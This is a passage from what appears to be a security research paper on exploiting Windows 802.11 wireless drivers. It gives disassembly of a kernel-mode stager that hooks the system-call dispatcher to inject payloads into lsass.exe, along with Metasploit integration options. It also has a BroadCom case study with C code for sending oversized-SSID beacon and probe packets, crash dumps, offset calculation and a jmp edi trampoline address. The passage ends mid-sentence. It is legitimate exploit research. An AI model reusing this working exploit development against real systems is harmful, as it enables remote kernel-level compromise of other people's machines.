; If it doesn't match, execute the original system call dispatcher
|
|
00000060 7510 jnz 0x72
|
|
00000062 648B18 mov ebx,[fs:eax]
|
|
00000065 43 inc ebx
|
|
00000066 43 inc ebx
|
|
00000067 43 inc ebx
|
|
; Check if Peb->SpareBool is 1, if it is, execute the original
|
|
; system call dispatcher
|
|
00000068 803B01 cmp byte [ebx],0x1
|
|
0000006B 7405 jz 0x72
|
|
; Set Peb->SpareBool to 1
|
|
0000006D C60301 mov byte [ebx],0x1
|
|
; Jump into the continuation stage
|
|
00000070 EB07 jmp short 0x79
|
|
; Restore the calling environment and execute the original system call
|
|
; dispatcher that was preserved in 0x7ffe0308
|
|
00000072 61 popa
|
|
00000073 FF250803FE7F jmp near [0x7ffe0308]
|
|
|
|
; continuation of the stage
|
|
|
|
The culmination of these three payload components is a functional payload that
|
|
can be used in any situation where an exploit is triggered within the Idle
|
|
thread. If the exploit is triggered outside of the context of the Idle
|
|
thread, the recovery component can be swapped out with an alternative method
|
|
and the rest of the payload can remain unchanged. This is one of the benefits
|
|
of breaking kernel-mode payloads down into different components. To recap,
|
|
the payload works by using a stager to copy a stage into an unused portion of
|
|
SharedUserData. The stager then points the SystemCall attribute to that
|
|
unused portion, effectively causing all user-mode processes to bounce through
|
|
the stage when they attempt to make a system call. Once the stager has
|
|
completed, the recovery component restores the IRQL to DISPATCH and then
|
|
restarts the Idle thread. The kernel-mode portion of the payload is then
|
|
complete. Shortly after that, the stage that was copied to SharedUserData is
|
|
executed in the context of a specific user-mode process, such as lsass.exe.
|
|
Once this occurs, the stage sets a flag that indicates that it's been executed
|
|
and completes. All told, the payload itself is only 115 bytes, excluding any
|
|
additional code in the stage.
|
|
|
|
Given all of this infrastructure work, it's trivial to plug almost any
|
|
user-mode payload into the stage. The additional code must simply be placed
|
|
at the point where it's verified that it's running in a particular process and
|
|
that it hasn't been executed before. The reason for it being so trivial was
|
|
quite intentional. One of the major goals in implementing this payload system
|
|
was to make it possible to use the existing set of payloads that exist in the
|
|
Metasploit framework in conjunction with any kernel-mode exploit. This
|
|
includes even some of the more powerful payloads such as Meterpreter and VNC
|
|
injection.
|
|
|
|
There were two key elements involved in integrating kernel-mode payloads into
|
|
the 3.0 version of the Metasploit Framework. The first had to do with
|
|
defining the interface that exploit developers would need to use when writing
|
|
kernel-mode exploits. The second delt with defining the interface the
|
|
end-users would have to be aware of when using kernel-mode exploits. In terms
|
|
of precedence, defining the programming level interfaces first is the ideal
|
|
approach. To that point, the programming interface that was decided upon is
|
|
one that should be pretty easy to use. The majority of the complexity
|
|
involved in selecting a kernel-mode payload is hidden from the developer.
|
|
There are only a few basic things that the developer needs to be aware of.
|
|
|
|
When implementing a kernel-mode exploit in Metasploit 3.0, it is necessary to
|
|
include the Msf::Exploit::KernelMode mixin. This mixin provides hints to the
|
|
framework that make it aware of the fact that any payloads used with this
|
|
exploit will need to be appropriately encapsulated within a kernel-mode
|
|
stager. With this simple action, the majority of the work associated with the
|
|
kernel-mode payload is abstracted away from the developer. The only other
|
|
elements that a developer may need to deal with is the process of defining
|
|
extended parameters that are used to further control the process of selecting
|
|
different aspects of the kernel-mode payload. These controlable parameters
|
|
are exposed to developers through the ExtendedOptions hash element in an
|
|
exploit's global or target-specific Payload options. An example of what this
|
|
might look like within an exploit can be seen here:
|
|
|
|
'Payload' =>
|
|
{
|
|
'ExtendedOptions' =>
|
|
{
|
|
'Stager' => 'sud_syscall_hook',
|
|
'Recovery' => 'idlethread_restart',
|
|
'KiIdleLoopAddress' => 0x804dbb27,
|
|
}
|
|
}
|
|
|
|
In the above example, the exploit has explicitly selected the underlying
|
|
stager component that should be used by specifying the Stager hash element.
|
|
The sudsyscallhook stager is a symbolic name for the stager that was described
|
|
in section 4.1. The example above also has the exploit explicitly selecting the
|
|
recovery component that should be used. In this case, the recovery component
|
|
that is selected is idlethreadrestart which is a symbolic name for the
|
|
recovery component described previously. Additionally, the nt!KiIdleLoop
|
|
address is specified for use with this particular recovery component. Under
|
|
the hood, the use of the KernelMode mixin and the additional extended options
|
|
results in the framework encapsulating whatever user-mode payload the end-user
|
|
specified inside of a kernel-mode stager. In the end, this process is
|
|
entirely transparent to both the developer and the end-user.
|
|
|
|
While the set of options that can be specified in the extended options hash
|
|
will surely grow in the future, it makes sense to at least document the set of
|
|
defined elements at the time of this writing. These options include:
|
|
|
|
|
|
Recovery: Defines the recovery component that should be used when generating
|
|
the kernel-mode payload. The current set of valid values for this option
|
|
include spin, which will spin the current thread, idlethreadrestart, which
|
|
will restart the Idle thread, or default which is equivalent to spin. Over
|
|
time, more recovery methods may be added. These can be found in recovery.rb.
|
|
|
|
RecoveryStub: Defines a custom recovery component.
|
|
|
|
Stager: Defines the stager component that should be used when generating the
|
|
kernel-mode payload. The current set of valid values for this option include
|
|
sudsyscallhook. Over time, more stager methods may be added. These can be
|
|
found in stager.rb.
|
|
|
|
UserModeStub: Defines the user-mode custom code that should be executed as
|
|
part of the stage.
|
|
|
|
RunInWin32Process: Currently only applicable to the sudsyscallhook stager.
|
|
This element specifies the name of the system process, such as lsass.exe, that
|
|
should be injected into.
|
|
|
|
KiIdleLoopAddress: Currently only applicable to the idlethreadrestart recovery
|
|
component. This element specifies the address of nt!KiIdleLoop.
|
|
|
|
While not particularly important to developers or end-users, it may be
|
|
interesting for some to understand how this abstraction works internally. To
|
|
start things off, the KernelMode mixin overrides a base class method called
|
|
encodebegin. This method is called when a payload that is used by an exploit
|
|
is being encoded. When this happens, the mixin declares a procedure that is
|
|
called by the payload encoder. In turn, this procedure is called by the
|
|
payload encoder in the context of encapsulating the pre-encoded payload. The
|
|
procedure itself is passed the original raw user-mode payload and the payload
|
|
options hash (which contains the extended options, if any, that were specified
|
|
in the exploit). It uses this information to construct the kernel-mode stager
|
|
that is used to encapsulate the user-mode payload. If the procedure completes
|
|
successfully, it returns a non-nil buffer that contains the original user-mode
|
|
payload encapsulated within a kernel-mode stager. The kernel-mode stager and
|
|
other components are actually contained within the payloads subsystem of the
|
|
Rex library under lib/rex/payloads/win32/kernel.
|
|
|
|
5) Case Studies
|
|
|
|
This chapter describes three separate vulnerabilities that were found by the
|
|
authors in real world 802.11 wireless device drivers. These three issues were
|
|
found through a combination of fuzzing and manual analysis.
|
|
|
|
5.1) BroadCom
|
|
|
|
The first vulnerability that was subject to the process described in this
|
|
paper was an issue that was found in BroadCom's wireless device driver. This
|
|
vulnerability was discovered by Chris Eagle as a result of his interest in
|
|
doing some reversing of kernel-mode code. Chris noticed what appeared to be a
|
|
conventional stack overflow in the way the BroadCom device driver handled
|
|
beacon packets. As a result of this tip, a simple program was written that
|
|
generated beacon packets with overly sized SSIDs. The code that was used to
|
|
do this is shown below:
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
Packet_80211 BeaconPacket;
|
|
|
|
CreatePacketForExploit(BeaconPacket, basic_target);
|
|
|
|
printf("Looping forever, sending packets.\n");
|
|
|
|
while(true)
|
|
{
|
|
int ret = Send80211Packet(&in_tx, BeaconPacket);
|
|
usleep(cfg.usleep);
|
|
if (ret == -1)
|
|
{
|
|
printf("Error tx'ing packet. Is interface up?\n");
|
|
exit(0);
|
|
}
|
|
}
|
|
}
|
|
|
|
void CreatePacketForExploit(Packet_80211 &P, struct target T)
|
|
{
|
|
Packet_80211_mgmt Beacon;
|
|
u_int8_t bcast_addy[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
|
|
Packet_80211_mgmt_Crafter MgmtCrafter(bcast_addy, cfg.src, cfg.bssid);
|
|
MgmtCrafter.craft(8, Beacon); // 8 = beacon
|
|
P = Beacon;
|
|
printf("\n");
|
|
|
|
if (T.payload_size > 255)
|
|
{
|
|
printf("invalid target. payload sizes > 255 wont fit in a single IE\n");
|
|
exit(0);
|
|
}
|
|
|
|
u_int8_t fixed_parameters[12] = {
|
|
'_', ',', '.', 'j', 'c', '.', ',', '_', // timestamp (8 bytes)
|
|
0x64, 0x00, // beeacon interval, 1.1024 secs
|
|
0x11, 0x04 // capability information. ESS, WEP, Short slot time
|
|
};
|
|
|
|
P.AppendData(sizeof(fixed_parameters), fixed_parameters);
|
|
|
|
u_int8_t SSID_ie[257]; //255 + 2 for type, value
|
|
u_int8_t *SSID = SSID_ie + 2;
|
|
|
|
SSID_ie[0] = 0;
|
|
SSID_ie[1] = 255;
|
|
|
|
memset(SSID, 0x41, 255);
|
|
|
|
//Okay, SSID IE is ready for appending.
|
|
P.AppendData(sizeof(SSID_ie), SSID_ie);
|
|
P.print_hex_dump();
|
|
}
|
|
|
|
As a result of running this code, 802.11 beacon packets were produced that did
|
|
indeed contain overly sized SSIDs. However, these packets appeared to have no
|
|
effect on the BroadCom device driver. After considerable head scratching, a
|
|
modification was made to the program to see if a normally sized SSID would
|
|
cause the device driver to process it. If it were processed, it would mean
|
|
that the fake SSID would show up in the list of available networks. Even
|
|
after making this modification, the device driver still did not appear to be
|
|
processing the manually crafted 802.11 beacon packets. Finally, it was
|
|
realized that the driver might have some checks in place such that it would
|
|
only process beacon packets from networks that also respond to 802.11 probes.
|
|
To test this theory out, the code was changed in the manner shown below:
|
|
|
|
CreatePacketForExploit(BeaconPacket, basic_target);
|
|
|
|
//CreatePacket returns a beacon, we will also send out directd probe responses.
|
|
Packet_80211 ProbePacket = BeaconPacket;
|
|
|
|
ProbePacket.wlan_header->subtype = 5; //probe response.
|
|
ProbePacket.setDstAddr(cfg.dst);
|
|
|
|
...
|
|
|
|
while(true)
|
|
{
|
|
int ret = Send80211Packet(&in_tx, BeaconPacket);
|
|
usleep(cfg.usleep);
|
|
ret = Send80211Packet(&in_tx, ProbePacket);
|
|
usleep(2*cfg.usleep);
|
|
}
|
|
|
|
Sending out directed probe responses as well as beacon packets caused results
|
|
to be generated immediately. When a small SSID was sent, it would suddenly
|
|
show up in the list of available wireless networks. When an overly sized SSID
|
|
was sent, it resulted in a much desired bluescreen as a result of the stack
|
|
overflow that Chris had identified. The following output shows some of the
|
|
crash information associated with transmitting an SSID that consisted of 255
|
|
0xCC's:
|
|
|
|
DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)
|
|
An attempt was made to access a pageable (or completely invalid) address at an
|
|
interrupt request level (IRQL) that is too high. This is usually
|
|
caused by drivers using improper addresses.
|
|
If kernel debugger is available get stack backtrace.
|
|
Arguments:
|
|
Arg1: ccccfe9d, memory referenced
|
|
Arg2: 00000002, IRQL
|
|
Arg3: 00000000, value 0 = read operation, 1 = write operation
|
|
Arg4: f6e713de, address which referenced memory
|
|
...
|
|
TRAP_FRAME: 80550004 -- (.trap ffffffff80550004)
|
|
ErrCode = 00000000
|
|
eax=cccccccc ebx=84ce62ac ecx=00000000 edx=84ce62ac esi=805500e0 edi=84ce6308
|
|
eip=f6e713de esp=80550078 ebp=805500e0 iopl=0 nv up ei pl zr na pe nc
|
|
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
|
|
bcmwl5+0xf3de:
|
|
f6e713de f680d131000002 test byte ptr [eax+31D1h],2 ds:0023:ccccfe9d=??
|
|
...
|
|
kd> k v
|
|
*** Stack trace for last set context - .thread/.cxr resets it
|
|
ChildEBP RetAddr Args to Child
|
|
WARNING: Stack unwind information not available. Following frames may be wrong.
|
|
805500e0 cccccccc cccccccc cccccccc cccccccc bcmwl5+0xf3de
|
|
80550194 f76a9f09 850890fc 80558e80 80558c20 0xcccccccc
|
|
805501ac 804dbbd4 850890b4 850890a0 00000000 NDIS!ndisMDpcX+0x21 (FPO: [Non-Fpo])
|
|
805501d0 804dbb4d 00000000 0000000e 00000000 nt!KiRetireDpcList+0x46 (FPO: [0,0,0])
|
|
805501d4 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x26 (FPO: [0,0,0])
|
|
|
|
In this case, the crash occurred because a variable on the stack was
|
|
overwritten that was subsequently used as a pointer. This overwritten
|
|
pointer was then dereferenced. In this case, the dereference occurred through
|
|
the eax register. Although the crash occurred as a result of the dereference,
|
|
it's important to note that the return address for the stack frame was
|
|
successfully overwritten with a controlled value of 0xcccccccc. If the
|
|
function had been allowed to return cleanly without trying to dereference
|
|
corrupted pointers, full control of the instruction pointer would have been
|
|
obtained.
|
|
|
|
In order to avoid this crash and gain full control of the instruction pointer,
|
|
it's necessary to try to calculate the offset to the return address from the start
|
|
of the buffer that is being transmitted. Figuring out this offset also has
|
|
the benefit of making it possible to figure out the minimum number of bytes
|
|
necessary to transmit to trigger the overflow. This is important because it
|
|
may be useful when it comes to preventing the dereference crash that was seen
|
|
previously.
|
|
|
|
There are many different ways in which the offset of the return address can be
|
|
determined. In this situation, the simplest way to go about it is to transmit
|
|
a buffer that contains an incrementing array of bytes. For instance, byte
|
|
index 0 is 0x00, byte index 1 is 0x01, and so on. The value that the return
|
|
address is overwritten with will then make it possible to calculate its offset
|
|
within the buffer. After transmitting a packet that makes use of this
|
|
technique, the following crash is rendered:
|
|
|
|
DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)
|
|
An attempt was made to access a pageable (or completely invalid) address at an
|
|
interrupt request level (IRQL) that is too high. This is usually
|
|
caused by drivers using improper addresses.
|
|
If kernel debugger is available get stack backtrace.
|
|
Arguments:
|
|
Arg1: 605f902e, memory referenced
|
|
Arg2: 00000002, IRQL
|
|
Arg3: 00000000, value 0 = read operation, 1 = write operation
|
|
Arg4: f73673de, address which referenced memory
|
|
...
|
|
STACK_TEXT:
|
|
80550004 f73673de badb0d00 84d8b250 80550084 nt!KiTrap0E+0x233
|
|
WARNING: Stack unwind information not available. Following frames may be wrong.
|
|
805500e0 5c5b5a59 605f5e5d 64636261 68676665 bcmwl5+0xf3de
|
|
80550194 f76a9f09 84e9e0fc 80558e80 80558c20 0x5c5b5a59
|
|
805501ac 804dbbd4 84e9e0b4 84e9e0a0 00000000 NDIS!ndisMDpcX+0x21
|
|
805501d0 804dbb4d 00000000 0000000e 00000000 nt!KiRetireDpcList+0x46
|
|
805501d4 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x26
|
|
|
|
From this stack trace, it can be seen that the return address was overwritten
|
|
with 0x5c5b5a59. Since byte-ordering on x86 is little endian, the offset
|
|
within the buffer that contains the SSID is 0x59.
|
|
|
|
With knowledge of the offset at which the return address is overwritten, the
|
|
next step becomes figuring out where in the buffer to place the arbitrary code
|
|
that will be executed. Before going down this route, it's important to
|
|
provide a little bit of background on the format of 802.11 Management packets.
|
|
Management packets encode all of their information in what the standard calls
|
|
Information Elements (IEs). IEs have a one byte identifier followed by a one
|
|
byte length which is subsequently followed by the associated IE data. For
|
|
those familiar with Type-Length-Value (TLV), IEs are roughly the same thing.
|
|
Based on this definition, the largest possible IE is 257 bytes (2 bytes of
|
|
overhead, and 255 bytes of data).
|
|
|
|
The upshot of the size restrictions associated with an IE means that the
|
|
largest possible SSID that can be copied to the stack is 255 bytes. When
|
|
attempting to find the offset of the return address on the stack, an SSID IE
|
|
was sent with a 255 byte SSID. Considering the fact that a stack overflow
|
|
occurred, one might reasonably expect to find the entire 255 byte SSID on the
|
|
stack as a result of the overflow that occurred. A quick dump of the stack
|
|
can be used to validate this assumption:
|
|
|
|
kd> db esp L 256
|
|
80550078 2e f0 d9 84 0c 80 d8 84-00 80 d8 84 00 07 0e 01 ................
|
|
80550088 02 03 ff 00 01 02 03 04-05 06 07 08 09 0a 0b 0c ................
|
|
80550098 0d 0e 0f 10 11 12 13 14-15 16 17 18 19 1a 1b 1c ................
|
|
805500a8 1d 1e 1f 20 21 22 23 24-25 26 0b 28 0c 00 00 00 ... !"#$%&.(....
|
|
805500b8 82 84 8b 96 24 30 48 6c-0c 12 18 60 44 00 55 80 ....$0Hl...`D.U.
|
|
805500c8 3d 3e 3f 40 41 42 43 44-45 46 01 02 01 02 4b 4c =>?@ABCDEF....KL
|
|
805500d8 4d 01 02 50 51 52 53 54-55 56 57 58 59 5a 5b 5c M..PQRSTUVWXYZ[\
|
|
805500e8 5d 5e 5f 60 61 62 63 64-65 66 67 68 69 6a 6b 6c ]^_`abcdefghijkl
|
|
805500f8 6d 6e 6f 70 71 72 73 74-75 76 77 78 79 7a 7b 7c mnopqrstuvwxyz{|
|
|
80550108 7d 7e 7f 80 81 82 83 84-85 86 87 88 89 8a 8b 8c }~..............
|
|
80550118 8d 8e 8f 90 91 92 93 94-95 96 97 98 99 9a 9b 9c ................
|
|
80550128 9d 9e 9f a0 a1 a2 a3 a4-a5 a6 a7 a8 a9 aa ab ac ................
|
|
80550138 ad ae af b0 b1 b2 b3 b4-b5 b6 b7 b8 b9 ba bb bc ................
|
|
80550148 bd be bf c0 c1 c2 c3 c4-c5 c6 c7 c8 c9 ca cb cc ................
|
|
80550158 cd ce cf d0 d1 d2 d3 d4-d5 d6 d7 d8 d9 da db dc ................
|
|
80550168 dd de df e0 e1 e2 e3 e4-e5 e6 e7 e8 e9 ea eb ec ................
|
|
80550178 ed ee ef f0 f1 f2 f3 f4-f5 f6 f7 f8 f9 fa fb fc ................
|
|
80550188 fd fe e9 84 00 00 00 00-e0 9e 6a 01 ac 01 55 80 ..........j...U.
|
|
|
|
Based on this dump, it appears that the majority of the SSID was indeed copied
|
|
across the stack. However, a large portion of the buffer prior to the offset
|
|
of the return address has been mangled. In this instance, the return address
|
|
appears to be located at 0x805500e4. While the area prior to this address
|
|
appears mangled, the area succeeding it has remained intact.
|
|
|
|
In order to try to prove the possibility of gaining code execution, a good
|
|
initial attempt would be to send a buffer that overwrites the return address
|
|
with the address that immediately succeeds it (which will be composed of
|
|
int3's). If everything works according to plan, the vulnerable function will
|
|
return into the int3's and bluescreen the machine in a controlled fashion.
|
|
This accomplishes two things. First, it proves that it is possible to
|
|
redirect execution into a controllable buffer. Second, it gives a snapshot of
|
|
the state of the registers at the time that execution control is redirected.
|
|
The layout of the buffer that would need to be sent to trigger this condition
|
|
is described in the diagram below:
|
|
|
|
[Padding.......][EIP][payload of int3's]
|
|
^ ^ ^
|
|
| | \_ Can hold at most 163 bytes of arbitrary code.
|
|
| \_ Overwritten with 0x8055010d which points to the payload
|
|
\_ Start of SSID that is mangled after the overflow occurs.
|
|
|
|
Transmitting a buffer that is structured as shown above does indeed result in
|
|
a bluescreen. It is possible to differentiate actual crashes from those
|
|
generated as the result of an int3 by looking at the bugcheck information.
|
|
The use of an int3 will result in an unhandled kernel mode exception which is
|
|
bugcheck code 0x8e. Furthermore, the exception code information associated
|
|
with this (the first parameter of the exception) will be set to 0x80000003.
|
|
Exception code 0x80000003 is used to indicate that the unhandled exception was
|
|
associated with a trap instruction. This is generally a good indication that
|
|
the arbitrary code you specified has executed. It's also very useful in
|
|
situations where it is not possible to do remote kernel debugging and one must
|
|
rely on strictly using crash dump analysis.
|
|
|
|
KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e)
|
|
This is a very common bugcheck. Usually the exception address pinpoints
|
|
the driver/function that caused the problem. Always note this address
|
|
as well as the link date of the driver/image that contains this address.
|
|
Some common problems are exception code 0x80000003. This means a hard
|
|
coded breakpoint or assertion was hit, but this system was booted
|
|
/NODEBUG. This is not supposed to happen as developers should never have
|
|
hardcoded breakpoints in retail code, but ...
|
|
If this happens, make sure a debugger gets connected, and the
|
|
system is booted /DEBUG. This will let us see why this breakpoint is
|
|
happening.
|
|
Arguments:
|
|
Arg1: 80000003, The exception code that was not handled
|
|
Arg2: 8055010d, The address that the exception occurred at
|
|
Arg3: 80550088, Trap Frame
|
|
Arg4: 00000000
|
|
...
|
|
TRAP_FRAME: 80550088 -- (.trap ffffffff80550088)
|
|
ErrCode = 00000000
|
|
eax=8055010d ebx=841b0000 ecx=00000000 edx=841b31f4 esi=841b000c edi=845f302e
|
|
eip=8055010e esp=805500fc ebp=8055010d iopl=0 nv up ei pl zr na pe nc
|
|
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
|
|
nt!KiDoubleFaultStack+0x2c8e:
|
|
8055010e cc int 3
|
|
...
|
|
STACK_TEXT:
|
|
8054fc50 8051d6a7 0000008e 80000003 8055010d nt!KeBugCheckEx+0x1b
|
|
80550018 804df235 80550034 00000000 80550088 nt!KiDispatchException+0x3b1
|
|
80550080 804df947 8055010d 8055010e badb0d00 nt!CommonDispatchException+0x4d
|
|
80550080 8055010e 8055010d 8055010e badb0d00 nt!KiTrap03+0xad
|
|
8055010d cccccccc cccccccc cccccccc cccccccc nt!KiDoubleFaultStack+0x2c8e
|
|
WARNING: Frame IP not in any known module. Following frames may be wrong.
|
|
80550111 cccccccc cccccccc cccccccc cccccccc 0xcccccccc
|
|
80550115 cccccccc cccccccc cccccccc cccccccc 0xcccccccc
|
|
80550119 cccccccc cccccccc cccccccc cccccccc 0xcccccccc
|
|
8055011d cccccccc cccccccc cccccccc cccccccc 0xcccccccc
|
|
|
|
The above crash dump information definitely shows that arbitrary code
|
|
execution has been achieved. This is a big milestone. It pretty much proves
|
|
that exploitation will be possible. However, it doesn't prove how reliable or
|
|
portable it will be. For that reason, the next step involves identifying
|
|
changes to the exploit that will make it more reliable and portable from one
|
|
machine to the next. Fortunately, the current situation already appears like
|
|
it might afford a good degree of portability, as the stack addresses don't
|
|
appear to shift around from one crash to the next.
|
|
|
|
At this stage, the return address is being overwritten with a hard-coded stack
|
|
address that points immediately after the return address in the buffer. One
|
|
of the problems with this is that the amount of space immediately following
|
|
the return address is limited to 163 bytes due to the maximum size of the SSID
|
|
IE. This is enough room for small stub of a payload, but probably not large
|
|
enough for a payload that would provide anything interesting in terms of
|
|
features. It's also worth noting that overwriting past the return address
|
|
might overwrite some important elements on the stack that could lead to the
|
|
system crashing at some later point for hard to explain reasons. When dealing
|
|
with kernel-mode vulnerabilities, it is advised that one attempt to clobber
|
|
the least amount of state as possible in order to reduce the amount of collateral
|
|
damage that might ensue.
|
|
|
|
Limiting the amount of data that is used in the overflow to only the amount
|
|
needed to trigger the overwriting of the return address means that the total
|
|
size for the SSID IE will be limited and not suitable to hold arbitrary code.
|
|
However, there's no reason why code couldn't be placed in a completely
|
|
separate IE unrelated to the SSID. This means we could transmit a packet that
|
|
included both the bogus SSID IE and another arbitrary IE which would be used
|
|
to contain the arbitrary code. Although this would work, it must be possible
|
|
to find a reference to the arbitrary IE that contains the arbitrary code. One
|
|
approach that might be taken to do this would be to search the address space
|
|
for an intact copy of the 802.11 packet that is transmitted. Before going
|
|
down that path, it makes sense to try to find instances of the packet in
|
|
memory using the kernel debugger. A simple search of the address space using
|
|
the destination MAC address of the packet sent is a good way to find potential
|
|
matches. In this case, the destination MAC is 00:14:a5:06:8f:e6.
|
|
|
|
kd> .ignore_missing_pages 1
|
|
Suppress kernel summary dump missing page error message
|
|
kd> s 0x80000000 L?10000000 00 14 a5 06 8f e6
|
|
8418588a 00 14 a5 06 8f e6 ff ff-ff ff ff ff 40 0e 00 00 ............@...
|
|
841b0006 00 14 a5 06 8f e6 00 00-00 00 00 00 00 00 00 00 ................
|
|
841b1534 00 14 a5 06 8f e6 00 00-00 00 00 00 00 00 00 00 ................
|
|
84223028 00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01 ................
|
|
845dc028 00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01 ................
|
|
845de828 00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01 ................
|
|
845df828 00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01 ................
|
|
845f3028 00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01 ................
|
|
845f3828 00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01 ................
|
|
845f4028 00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01 ................
|
|
845f5028 00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01 ................
|
|
84642d4c 00 14 a5 06 8f e6 00 00-f0 c6 2a 85 00 00 00 00 ..........*.....
|
|
846d6d4c 00 14 a5 06 8f e6 00 00-80 79 21 85 00 00 00 00 .........y!.....
|
|
84eda06c 00 14 a5 06 8f e6 02 06-01 01 00 0e 00 00 00 00 ................
|
|
84efdecc 00 14 a5 06 8f e6 00 00-65 00 00 00 16 00 25 0a ........e.....%.
|
|
|
|
The above output shows that quite a few matches were found One important thing
|
|
to note is that the BSSID used in the packet that contained the overly sized
|
|
SSID was 00:07:0e:01:02:03. In an 802.11 header, the addresses of Management
|
|
packets are arranged in order of DST, SRC, BSSID. While some of the above
|
|
matches do not appear to contain the entire packet contents, many of them do.
|
|
Picking one of the matches at random shows the contents in more detail:
|
|
|
|
kd> db 84223028 L 128
|
|
84223028 00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01 ................
|
|
84223038 02 03 d0 cf 85 b1 b3 db-01 00 00 00 64 00 11 04 ............d...
|
|
84223048 00 ff 4a 0d 01 55 80 0d-01 55 80 0d 01 55 80 0d ..J..U...U...U..
|
|
84223058 01 55 80 0d 01 55 80 0d-01 55 80 0d 01 55 80 0d .U...U...U...U..
|
|
84223068 01 55 80 0d 01 55 80 0d-01 55 80 0d 01 55 80 0d .U...U...U...U..
|
|
84223078 01 55 80 0d 01 55 80 0d-01 55 80 0d 01 55 80 0d .U...U...U...U..
|
|
84223088 01 55 80 0d 01 55 80 0d-01 55 80 0d 01 55 80 0d .U...U...U...U..
|
|
84223098 01 55 80 0d 01 55 80 0d-01 55 80 0d 01 55 80 0d .U...U...U...U..
|
|
842230a8 01 55 80 cc cc cc cc cc-cc cc cc cc cc cc cc cc .U..............
|
|
842230b8 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
|
|
842230c8 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
|
|
842230d8 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
|
|
842230e8 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
|
|
842230f8 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
|
|
84223108 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
|
|
|
|
Indeed, this does appear to be a full copy of the original packet. The reason
|
|
why there are so many copies of the packet in memory might be related to the
|
|
fact that the current form of the exploit is transmitting packets in an
|
|
infinite loop, thus causing the driver to have a few copies lingering in
|
|
memory. The fact that multiple copies exist in memory is good news
|
|
considering it increases the number of places that could be used for return
|
|
addresses. However, it's not as simple as hard-coding one of these addresses
|
|
into the exploit considering pool allocated addresses will not be predictable.
|
|
Instead, steps will need to be taken to attempt to find a reference to the
|
|
packet through a register or through some other context. In this way, a very
|
|
small stub could be placed after the return address in the buffer that would
|
|
immediately transfer control into the a copy of the packet somewhere else in
|
|
memory. Although some initial work with the debugger showed a couple of
|
|
references to the original packet on the stack, a much simpler solution was
|
|
identified. Consider the following register context at the time of the crash:
|
|
|
|
kd> r
|
|
Last set context:
|
|
eax=8055010d ebx=841b0000 ecx=00000000 edx=841b31f4 esi=841b000c edi=845f302e
|
|
eip=8055010e esp=805500fc ebp=8055010d iopl=0 nv up ei pl zr na pe nc
|
|
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
|
|
nt!KiDoubleFaultStack+0x2c8e:
|
|
8055010e cc int 3
|
|
|
|
Inspecting each of these registers individually eventually shows that the edi
|
|
register is pointing into a copy of the packet.
|
|
|
|
kd> db edi
|
|
845f302e 00 07 0e 01 02 03 00 07-0e 01 02 03 10 cf 85 b1 ................
|
|
845f303e b3 db 01 00 00 00 64 00-11 04 00 ff 4a 0d 01 55 ......d.....J..U
|
|
845f304e 80 0d 01 55 80 0d 01 55-80 0d 01 55 80 0d 01 55 ...U...U...U...U
|
|
|
|
As chance would have it, edi is pointing to the source MAC in the 802.11
|
|
packet that was sent. If it had instead been pointing to the destination MAC
|
|
or the end of the packet, it would not have been of any use. With edi being
|
|
pointed to the source MAC, the rest of the cards fall into place. The
|
|
hard-coded stack address that was previously used to overwrite the return
|
|
address can be replaced with an address (probably inside ntoskrnl.exe) that
|
|
contains the equivalent of a jmp edi instruction. When the exploit is
|
|
triggered and the vulnerable function returns, it will transfer control to the
|
|
location that contains the jmp edi. The jmp edi, in turn, transfers control
|
|
to the first byte of the source MAC. By setting the source MAC to some
|
|
executable code, such as a relative jump instruction, it is possible to
|
|
finally transfer control into a location of the packet that contains the
|
|
arbitrary code that should be executed.
|
|
|
|
This solves the problem of using the hard-coded stack address as the return
|
|
address and should help to make the exploit more reliable and portable between
|
|
targets. However, this portability will be limited by the location of the jmp
|
|
edi instruction that is used when overwriting the return address. Finding the
|
|
location of a jmp edi instruction is relatively simple, although more
|
|
effective measures could be use to cross-reference addresses in an effort to
|
|
find something more portable Experimentation shows that 0x8066662c is a
|
|
reliable location:
|
|
|
|
kd> s nt L?10000000 ff e7
|
|
8063abce ff e7 ff 21 47 70 21 83-98 03 00 00 eb 38 80 3d ...!Gp!......8.=
|
|
806590ca ff e7 ff 5f eb 05 bb 22-00 00 c0 8b ce e8 74 ff ..._..."......t.
|
|
806590d9 ff e7 ff 5e 8b c3 5b c9-c2 08 00 cc cc cc cc cc ...^..[.........
|
|
8066662c ff e7 ff 8b d8 85 db 74-e0 33 d2 42 8b cb e8 d7 .......t.3.B....
|
|
806bb44b ff e7 a3 6c ff a2 42 08-ff 3f 2a 1e f0 04 04 04 ...l..B..?*.....
|
|
...
|
|
|
|
With the exploit all but finished, the final question that remains unanswered
|
|
is where the arbitrary code should be placed in the 802.11 packet. There are
|
|
a few different ways that this could be tackled. The simplest solution to the
|
|
problem would be to simply append the arbitrary code immediately after the
|
|
SSID in the packet. However, this would make the packet malformed and might
|
|
cause the driver to drop it. Alternatively, an arbitrary IE, such as a WPA
|
|
IE, could be used as a container for the arbitrary code as suggested earlier
|
|
in this section. For now, the authors decided to take the middle road. By
|
|
